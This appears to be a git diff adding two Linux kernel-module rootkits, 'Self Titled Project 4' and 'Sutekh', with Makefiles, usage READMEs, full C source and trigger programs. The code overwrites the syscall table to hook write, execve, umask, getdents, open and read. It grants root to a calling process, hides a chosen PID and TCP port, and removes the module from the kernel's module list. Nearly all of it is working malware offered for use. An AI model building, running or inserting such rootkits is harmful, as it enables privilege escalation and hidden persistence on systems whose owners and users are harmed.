+*.elf + +# Precompiled Headers +*.gch +*.pch + +# Libraries +*.lib +*.a +*.la +*.lo + +# Shared objects (inc. Windows DLLs) +*.dll +*.so +*.so.* +*.dylib + +# Executables +*.exe +*.out +*.app +*.i*86 +*.x86_64 +*.hex diff --git a/Linux/Rootkits/Self Titled Project 4/Makefile b/Linux/Rootkits/Self Titled Project 4/Makefile new file mode 100644 index 0000000..cdfcfa6 --- /dev/null +++ b/Linux/Rootkits/Self Titled Project 4/Makefile @@ -0,0 +1,9 @@ +obj-m := rootkit.o + +KDIR := /lib/modules/$(shell uname -r)/build +PWD := $(shell pwd) + +default: + $(MAKE) -C $(KDIR) SUBDIRS=$(PWD) modules +clean: + make -C $(KDIR) M=$(PWD) clean diff --git a/Linux/Rootkits/Self Titled Project 4/README.md b/Linux/Rootkits/Self Titled Project 4/README.md new file mode 100644 index 0000000..7da3203 --- /dev/null +++ b/Linux/Rootkits/Self Titled Project 4/README.md @@ -0,0 +1,33 @@ +# lkm-rootkit +A rootkit implemented as a linux kernel module + +##Syscall table: +###NOTICE: +This kernel module is only compatible with 64-bit PCs. +Please do NOT run if your PC is a 32-bit. + + + +To load the 'rootkit' module: +-------------------------------- + make -f Makefile + sudo insmod rootkit.ko + dmesg | tail + + + +To remove the module: +--------------------- + sudo rmmod rootkit + +To be able to get root access: +------------------------------ + After loading the module, Invoke the write function with the last + parameter (the count) passed as -1 + +To be able to hide a port: +------------------------------ + After loading the module, Isssue the following command + echo "hp PORT_NUMBER" > /proc/rootkitproc + +----------------------------------------------------------------------------- diff --git a/Linux/Rootkits/Self Titled Project 4/README.txt b/Linux/Rootkits/Self Titled Project 4/README.txt new file mode 100644 index 0000000..f8370cf --- /dev/null +++ b/Linux/Rootkits/Self Titled Project 4/README.txt @@ -0,0 +1,22 @@ +NOTICE:This kernel module is only compatible with 64-bit PCs. Please do NOT run if your PC is a 32-bit. + +To compile the module: +make -f Makefile + +To load the module in kernel: +sudo insmod rootkit.ko + +To remove the module from kernel: +sudo rmmod rootkit + +To check whether the module is loaded: +lsmod | grep rootkit + +To view kernel printed msgs: +dmesg | tail + +To hide a certain PID: +echo "hide_proc " > /proc/rootkitproc + +To unhide a certain PID: +echo "show_proc " > /proc/rootkitproc diff --git a/Linux/Rootkits/Self Titled Project 4/rootkit.c b/Linux/Rootkits/Self Titled Project 4/rootkit.c new file mode 100644 index 0000000..ba05b82 --- /dev/null +++ b/Linux/Rootkits/Self Titled Project 4/rootkit.c @@ -0,0 +1,510 @@ +#define _GNU_SOURCE +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include + +MODULE_LICENSE("GPL"); +#define BUF_SIZE 1024 +#define END_MEM ULLONG_MAX +#define START_MEM PAGE_OFFSET +#define TCP_LINE_SIZE 150 +#define END_MEM ULLONG_MAX +#define PROC_FILE_NAME "rootkitproc" +#define HIDE_PROC_CMD "hide_proc" +#define SHOW_PROC_CMD "show_proc" + +long proc_pid; +bool proc_hidden = false; +int PORT_TO_HIDE = 631; +int TCP_fd = -10; +static struct proc_dir_entry *proc_file; +static unsigned long procfs_buffer_size = 0; +struct list_head *prev_module; +struct list_head *prev_kobj; +unsigned long long *syscall_table; +static char buff1[BUF_SIZE]; +static char buff2[BUF_SIZE]; +bool module_hidden; + + +asmlinkage int (*original_write)(unsigned int, const char __user *, size_t); +asmlinkage int (*modified_write)(unsigned int, const char __user *, size_t); + +// original functions +asmlinkage int (*original_open)(const char *, int); +asmlinkage long (*original_read)(int, char __user *, size_t); +asmlinkage int (*orig_getdents)(unsigned int, struct linux_dirent *, unsigned int); + +struct linux_dirent { + unsigned long d_ino; + unsigned long d_off; + unsigned short d_reclen; + char d_name[256]; + char pad; + char d_type; +}; + +void enable_write_protection(void) { + write_cr0 (read_cr0 () | 0x10000); + return; +} + +void disable_write_protection(void) { + write_cr0 (read_cr0 () & (~ 0x10000)); + return; +} + +void hide_module(void) { + if (module_hidden) return; + prev_module = THIS_MODULE->list.prev; + prev_kobj = THIS_MODULE->mkobj.kobj.entry.prev; + + mutex_lock(&module_mutex); + + list_del_rcu(&THIS_MODULE->list); + kobject_del(&THIS_MODULE->mkobj.kobj); + list_del_rcu(&THIS_MODULE->mkobj.kobj.entry); + + synchronize_rcu(); + kfree(THIS_MODULE->notes_attrs); + THIS_MODULE->notes_attrs = NULL; + kfree(THIS_MODULE->sect_attrs); + THIS_MODULE->sect_attrs = NULL; + kfree(THIS_MODULE->mkobj.mp); + THIS_MODULE->mkobj.mp = NULL; + THIS_MODULE->modinfo_attrs->attr.name = NULL; + kfree(THIS_MODULE->mkobj.drivers_dir); + THIS_MODULE->mkobj.drivers_dir = NULL; + + mutex_unlock(&module_mutex); + module_hidden = true; +} + +void show_module(void) { + if (!module_hidden) return; + mutex_lock(&module_mutex); + list_add_rcu(&THIS_MODULE->list, prev_module); + //list_add_rcu(&THIS_MODULE->mkobj.kobj.entry, prev_kobj); + synchronize_rcu(); + mutex_unlock(&module_mutex); + module_hidden = false; +} + +long str_to_lng(const char *str) +{ + long res = 0, mul = 1; + const char *ptr; + + for(ptr = str; *ptr >= '0' && *ptr <= '9'; ptr++); + ptr--; + + while(ptr >= str) { + if(*ptr < '0' || *ptr > '9') + break; + + res += (*ptr - '0') * mul; + mul *= 10; + ptr--; + } + return res; +} + +// splits the input into 2 commands +void split_buffer(char* procfs_buffer) +{ + int i,j; + bool flag = true; + + for(i = 0; i < BUF_SIZE; i++) + { + if(procfs_buffer[i] == ' ' || procfs_buffer[i] == '\n') + { + buff1[i++] = '\0'; + if(procfs_buffer[i] == '\n') flag = false; + break; + } + + buff1[i] = procfs_buffer[i]; + } + + if(!flag) return; + + for(j = 0; j < BUF_SIZE && i < BUF_SIZE; i++, j++) + { + if(procfs_buffer[i] == '\n') + { + buff2[i] = '\0'; + break; + } + + buff2[j] = procfs_buffer[i]; + } +} + +asmlinkage int hacked_getdents(unsigned int fd, struct linux_dirent *dirp, unsigned int count) +{ + int result, bp; + char *kdirp; + struct linux_dirent *d; + + struct files_struct *current_files; + struct fdtable *files_table; + struct path file_path; + char pbuf[256], *pathname = NULL; + long pid = 0; + + // run real getdents + result = (*orig_getdents)(fd,dirp,count); + if (result <= 0) + return result; + + // get pathname + current_files = current->files; + files_table = files_fdtable(current_files); + + file_path = files_table->fd[fd]->f_path; + pathname = d_path(&file_path,pbuf,256 * sizeof(char)); + + // copy from user to kernelspace; + if (!access_ok(VERIFY_READ,dirp,result)) + return EFAULT; + if ((kdirp = kmalloc(result,GFP_KERNEL)) == NULL) + return EINVAL; + if (copy_from_user(kdirp,dirp,result)) + return EFAULT; + + // check dirp for files to hide + for (bp = 0; bp < result; bp += d->d_reclen) { + d = (struct linux_dirent *) (kdirp + bp); + // process hiding + if (!strcmp(pathname,"/proc")) { + pid = str_to_lng(d->d_name); // convert string into long + if (pid == proc_pid) { + // shifting memory by record length to hide traces of the pid if it matched the current record + memmove(kdirp + bp,kdirp + bp + d->d_reclen, + result - bp - d->d_reclen); + result -= d->d_reclen; + bp -= d->d_reclen; + } + } + } + + // copy from kernel to userspace + if (!access_ok(VERIFY_WRITE,dirp,result)) + return EFAULT; + if (copy_to_user(dirp,kdirp,result)) + return EFAULT; + kfree(kdirp); + + // return number of bytes read + return result; +} + +// replaces getdents original address with hacked routine and saves the original address of getdents +void hack_getdents(void) +{ + orig_getdents = syscall_table[__NR_getdents]; + syscall_table[__NR_getdents] = hacked_getdents; +} + +// restores the original address of getdents +void restore_getdents(void) +{ + syscall_table[__NR_getdents] = orig_getdents; +} + +// hijacked open function +asmlinkage int new_open(const char* path_name, int flags) { + // sets the hijack flag indicating that we should hide the TCP port + if (strstr(path_name, "tcp") != NULL && strstr(path_name, "tcp6") == NULL) { + printk("path name is: %s \n", path_name); + TCP_fd = (*original_open)(path_name, flags); + return TCP_fd; + } + return (*original_open)(path_name, flags); +} + +// hijacked read function +asmlinkage long new_read(int fd, char __user *buf, size_t count) { + long ret, temp; + long i = 0; + char * kernel_buf; + + ret = original_read(fd, buf, count); + if (fd != TCP_fd) + return ret; + kernel_buf = kmalloc(count, GFP_KERNEL); + // Kernel Problem + if (!kernel_buf || copy_from_user(kernel_buf, buf, count)) { + printk("FAILLLLLLED KERNEL PROBLEM"); + return ret; + } + // ignoring the first line of the file + i += TCP_LINE_SIZE; + + for (; i < ret; i = i + TCP_LINE_SIZE) { + int j = 0; + int val = 0; + for (; j < 4; j++) { + if (kernel_buf[i + 15 + j] <= 57) + val = val + (kernel_buf[i + 15 + j] - 48) * (1 << (4 * (3 - j))); + else + val = val + (kernel_buf[i + 15 + j] - 55) * (1 << (4 * (3 - j))); + } + if (val != PORT_TO_HIDE) + continue; + temp = i; + for (; temp < ret - TCP_LINE_SIZE; temp++) { + kernel_buf[temp] = kernel_buf[temp + TCP_LINE_SIZE]; + } + for (temp = ret - (TCP_LINE_SIZE + 1); temp < ret; temp++) { + kernel_buf[temp] = '\0'; + } + count = count - TCP_LINE_SIZE; + } + // Kernel Problem + if (copy_to_user(buf, kernel_buf, count)) { + printk("FAILLLLLLED KERNEL PROBLEM"); + } + kfree(kernel_buf); + return ret; +} + +/* PROC FILE FUNCTIONS */ +int procfile_read(char *buffer, char **buffer_location, off_t offset, int buffer_length, int *eof, void *data) { + printk("DONT YOU EVER TRY TO READ THIS FILE OR I AM GOING TO DESTROY YOUR MOST SECRET DREAMS"); + return 0; +} + +int procfile_write(struct file *file, const char *buf, unsigned long count, void *data) { + printk("writing to the proc file\n"); + char * kernel_buf = kmalloc(count, GFP_KERNEL); + bool temp = 0; + unsigned long j = 0; + int c; + + split_buffer(buf); + if (!kernel_buf || copy_from_user(kernel_buf, buf, count)) { + printk("FAILLLLLLED KERNEL PROBLEM\n"); + return count; + } + + if (strncmp(HIDE_PROC_CMD, buff1, 9) == 0) + { + proc_pid = str_to_lng(buff2); + printk("HIDING PID %lld\n", proc_pid); + if(!proc_hidden){ + disable_write_protection(); + hack_getdents(); + enable_write_protection(); + proc_hidden = true; + } + return count; + } + + else if (strncmp(SHOW_PROC_CMD, buff1, 9) == 0) + { + proc_pid = str_to_lng(buff2); + printk("SHOWING PID %lld\n", proc_pid); + if(proc_hidden){ + disable_write_protection(); + restore_getdents(); + enable_write_protection(); + proc_hidden = false; + } + return count; + } + + if (kernel_buf[0] == 'h' && kernel_buf[1] == 'm') { + printk("hiding module\n"); + hide_module(); + } + + if (kernel_buf[0] == 's' && kernel_buf[1] == 'm') { + printk("showing module\n"); + show_module(); + } + // hp port number decimal value + if (kernel_buf[0] == 'h' && kernel_buf[1] == 'p') { + PORT_TO_HIDE = 0; + for (j = 3; j < count ; j++) { + c = kernel_buf[j] - '0'; + if (c >= 0 && c <= 9) + temp = true; + if (!temp) + break; + PORT_TO_HIDE = PORT_TO_HIDE * 10; + PORT_TO_HIDE = PORT_TO_HIDE + c; + temp = false; + } + printk("NEW PORT TO HIDE IS: %d\n ", PORT_TO_HIDE); + } + printk("finished writing to the proc file\n"); + return count; +} + +static const struct file_operations proc_file_fops = { + .owner = THIS_MODULE, + .read = procfile_read, + .write = procfile_write, +}; + +/* END OF PROCFILE FUNCTIONS */ + +unsigned long **find(void) { + unsigned long **sctable; + unsigned long int i = START_MEM; + while ( i < END_MEM) { + sctable = (unsigned long **)i; + if ( sctable[__NR_close] == (unsigned long *) sys_close) { + return &sctable[0]; + } + i += sizeof(void *); + } + return NULL; +} + + +// the method that gives the process root privileges +void set_root(void) { + struct user_namespace *ns = current_user_ns(); + struct cred *new_cred; + + kuid_t kuid = make_kuid(ns, 0); + kgid_t kgid = make_kgid(ns, 0); + kuid_t rootUid; + + if(!uid_valid(kuid)) { + printk("Not Valid..\n"); + } + + rootUid.val = 0; + + new_cred = prepare_creds(); + + if(new_cred != NULL) { + if(!uid_eq(new_cred ->uid, rootUid)){ + printk("\nProcess is not root\n"); + } else { + printk("\nProcess is already root\n"); + } + + new_cred ->uid = kuid; + new_cred ->gid = kgid; + new_cred ->euid = kuid; + new_cred ->egid = kgid; + new_cred ->suid = kuid; + new_cred ->sgid = kgid; + new_cred ->fsuid = kuid; + new_cred ->fsgid = kgid; + + commit_creds(new_cred ); + + if(uid_eq(new_cred ->uid, rootUid)){ + printk("\nProcess is now root\n"); + } else { + printk("\nProcess is not root\n"); + } + } else { + abort_creds(new_cred ); + printk("Cannot get credentials of running process"); + } +} + +// the new modified write function that will call the method that gives root access. +asmlinkage int new_write(unsigned int fd, const char __user *buf, size_t count) { + + // printk(KERN_ALERT "WRITE HIJACKED"); + if(count == -1){ + set_root(); + return -1; + } + return (*original_write)(fd, buf, count); +} + +// the method that hijack the write syscall +void hijack_write_syscall(void) { + + printk(KERN_ALERT "\nHIJACK INIT\n"); + + disable_write_protection(); + + original_write = (void *)syscall_table[__NR_write]; + printk("\n before write hijacking: %llx\n", (unsigned long long) original_write); + + syscall_table[__NR_write] = (unsigned long long) new_write; + modified_write = (void *)syscall_table[__NR_write]; + printk("\n after write hijacking %llx\n", (unsigned long long) modified_write); + + enable_write_protection(); +} + +// the method that restore the original write syscall +void restore_hijacked_write_syscall(void) { + + disable_write_protection(); + syscall_table[__NR_write] = (unsigned long long) original_write; + enable_write_protection(); + printk("\nHijacked write Syscall is Restored\n"); + +} + +static int init(void) { + // hide_module(); + printk("\nModule starting...\n"); + syscall_table = (unsigned long long*) find(); + if ( syscall_table != NULL ) { + printk("Syscall table found at %llx\n", (unsigned long long) syscall_table); + } else { + printk("Syscall table not found!\n"); + } + + hijack_write_syscall(); + + original_read = (void *)syscall_table[__NR_read]; + original_open = (void *)syscall_table[__NR_open]; + disable_write_protection(); + syscall_table[__NR_open] = new_open; + syscall_table[__NR_read] = new_read; + enable_write_protection(); + + proc_file = proc_create( PROC_FILE_NAME, 0666, NULL, &proc_file_fops); + if (proc_file == NULL) { + remove_proc_entry(PROC_FILE_NAME, NULL); + printk("ERROR ALLOCATING FILE"); + return -ENOMEM; + } + printk("proc file created\n"); + + return 0; +} + +static void exit_(void) { + disable_write_protection(); + syscall_table[__NR_open] = original_open; + syscall_table[__NR_read] = original_read; + enable_write_protection(); + printk("Module ending\n"); + remove_proc_entry(PROC_FILE_NAME, NULL); + restore_hijacked_write_syscall(); + return; +} + +module_init(init); +module_exit(exit_); diff --git a/Linux/Rootkits/Self Titled Project 4/testRootPart.c b/Linux/Rootkits/Self Titled Project 4/testRootPart.c new file mode 100644 index 0000000..c832269 --- /dev/null +++ b/Linux/Rootkits/Self Titled Project 4/testRootPart.c @@ -0,0 +1,29 @@ +#include +#include +#include +#include +#include +#include + +int main() { + + int fd_r=0,fd_w=0; + int w_ret=100; + fd_r = open("reader.txt", O_RDONLY); + if(fd_r == -1) + perror("fd_r open"); + + fd_w = open("writer.txt",O_CREAT,S_IRWXU); + if(fd_w == -1) + perror("fd_w open"); + + char *buf = (char *)malloc(50); + + printf("My process ID before calling write: %d\n", getuid()); + + int n = write(fd_w,buf, -1); + + printf("My process ID after calling write: %d\n", getuid()); + + return 0; +} \ No newline at end of file diff --git a/Linux/Rootkits/Sutekh/Makefile b/Linux/Rootkits/Sutekh/Makefile new file mode 100644 index 0000000..b9ceb89 --- /dev/null +++ b/Linux/Rootkits/Sutekh/Makefile @@ -0,0 +1,7 @@ +obj-m += sutekh.o + +all: + make -C /lib/modules/$(shell uname -r)/build M=$(PWD) modules + +clean: + make -C /lib/modules/$(shell uname -r)/build M=$(PWD) clean diff --git a/Linux/Rootkits/Sutekh/README.TXT b/Linux/Rootkits/Sutekh/README.TXT new file mode 100644 index 0000000..067025a --- /dev/null +++ b/Linux/Rootkits/Sutekh/README.TXT @@ -0,0 +1,31 @@ +# Sutekh +An example rootkit that gives a userland process root permissions +Tested on Linux kernel [4.19.62] & [4.15.0] + +[INSTALL] +1. Install latest Linux headers for your kernel. Example (debian): [apt install linux-headers-$(uname -r)] +2. $ git clone https://github.com/PinkP4nther/Sutekh +3. $ cd Sutekh && make +4. $ gcc rootswitch.c -o rs +5. $ sudo insmod sutekh.ko + +[Run] +$ ./rs + +[Output example] +[pinky@mememachine Sutekh]$ ./rs +[!] Switch hit! +[mememachine Sutekh]# id +uid=0(root) gid=0(root) groups=0(root) +[mememachine Sutekh]# exit + +[Remove] +sudo rmmod sutekh + +[Note] +dmesg for kernel debug output! + +[ 2217.810776] [?] SCT: [0xffffffff96400180] + [?] EXECVE: [0xffffffffc065b030] + [?] UMASK: [0xffffffffc065b000] +[ 2223.379218] [+] Giving r00t! diff --git a/Linux/Rootkits/Sutekh/rootswitch.c b/Linux/Rootkits/Sutekh/rootswitch.c new file mode 100644 index 0000000..44d0798 --- /dev/null +++ b/Linux/Rootkits/Sutekh/rootswitch.c @@ -0,0 +1,11 @@ +#include +#include + +int main() +{ + system("umask 22"); + printf("[!] Switch hit!\n"); + system("su"); + system("umask 22"); + return 0; +} diff --git a/Linux/Rootkits/Sutekh/sutekh.c b/Linux/Rootkits/Sutekh/sutekh.c new file mode 100644 index 0000000..2001fc6 --- /dev/null +++ b/Linux/Rootkits/Sutekh/sutekh.c @@ -0,0 +1,142 @@ +/* An example rootkit that gives root permissions to a userland process */ + +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include + +#define MA "@Pink_P4nther" +#define MD "Example Rootkit" +#define ML "GPL" +#define MV "1.1" + +/* Enable root escalation flag */ +int ref = 0; + +/* Syscall table address */ +void **sct_address; + +/* Set sys_call_table address to sct_address */ +void set_sct_addr(void); + +/* Execve syscall hook */ +asmlinkage int (*origin_execvecall) (const char *filename, const char *const argv[], const char *const envp[]); + +/* Mal execve hook syscall */ +asmlinkage int mal_execve(const char *filename, const char *const argv[], const char *const envp[]) +{ + if (ref == 1){ + printk(KERN_INFO "[+] Giving r00t!"); + + /* Create process cred struct */ + struct cred *np; + /* Create uid struct */ + kuid_t nuid; + /* Set uid struct value to 0 */ + nuid.val = 0; + + /* Prepares new set of credentials for task_struct of current process */ + np = prepare_creds(); + /* Set uid of new cred struct to 0 */ + np->uid = nuid; + /* Set euid of new cred struct to 0 */ + np->euid = nuid; + /* Commit cred to task_struct of process */ + commit_creds(np); + } + /* Call original execve syscall */ + return origin_execvecall(filename,argv,envp); +} + +/* Umask syscall hook */ +asmlinkage int (*origin_umaskcall) (mode_t mask); + +/* Mal umask hook syscall */ +asmlinkage int mal_umask(mode_t mask){ + if (ref == 0){ + /* Set enable root escalation flag */ + ref = 1; + } else{ + /* Unset enable root escalation flag */ + ref = 0; + } + /* Call original umask syscall */ + return origin_umaskcall(mask); +} + +/* Set SCT Address */ +void set_sct_addr(void) +{ + /* Lookup address for sys_call_table and set sct_address to it */ + sct_address = (void*)kallsyms_lookup_name("sys_call_table"); +} + +/* Make SCT writeable */ +int sct_w(unsigned long sct_addr) +{ + unsigned int level; + pte_t *pte = lookup_address(sct_addr,&level); + if (pte->pte &~_PAGE_RW) + { + pte->pte |=_PAGE_RW; + } + return 0; +} + +/* Make SCT write protected */ +int sct_xw(unsigned long sct_addr) +{ + unsigned int level; + pte_t *pte = lookup_address(sct_addr, &level); + pte->pte = pte->pte &~_PAGE_RW; + return 0; +} + +/* Loads LKM */ +static int __init hload(void) +{ + /* Set syscall table address */ + set_sct_addr(); + /* Set pointer to original syscalls */ + origin_execvecall = sct_address[__NR_execve]; + origin_umaskcall = sct_address[__NR_umask]; + /* Make SCT writeable */ + sct_w((unsigned long)sct_address); + + /* Hook execve and umask syscalls */ + sct_address[__NR_execve] = mal_execve; + sct_address[__NR_umask] = mal_umask; + /* Set SCT write protected */ + sct_xw((unsigned long)sct_address); + + printk(KERN_INFO "[?] SCT: [0x%llx]\n[?] EXECVE: [0x%llx]\n[?] UMASK: [0x%llx]",sct_address,sct_address[__NR_execve],sct_address[__NR_umask]); + + return 0; +} + +/* Unloads LKM */ +static void __exit hunload(void) +{ + /* Rewrite the original syscall addresses back into the SCT page */ + sct_w((unsigned long )sct_address); + sct_address[__NR_execve] = origin_execvecall; + sct_address[__NR_umask] = origin_umaskcall; + + /* Make SCT page write protected */ + sct_xw((unsigned long)sct_address); +} + +module_init(hload); +module_exit(hunload); + +MODULE_LICENSE(ML); +MODULE_AUTHOR(MA); +MODULE_DESCRIPTION(MD); +MODULE_VERSION(MV);